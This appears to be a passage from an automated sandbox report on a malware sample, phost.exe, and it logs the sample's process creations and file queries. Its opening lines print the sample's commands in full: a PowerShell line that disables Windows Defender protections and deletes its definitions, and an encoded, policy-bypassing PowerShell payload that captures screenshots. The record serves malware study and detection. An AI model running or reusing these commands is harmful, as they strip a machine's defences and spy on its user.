Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe

Code function: 105_2_00007FF6BBCFB340 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

105_2_00007FF6BBCFB340

Source: C:\Users\user\Desktop\phost.exe

Code function: 0_2_00007FF62CC995E0 cpuid

0_2_00007FF62CC995E0

Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\blank.aes VolumeInformation	Jump to behavior
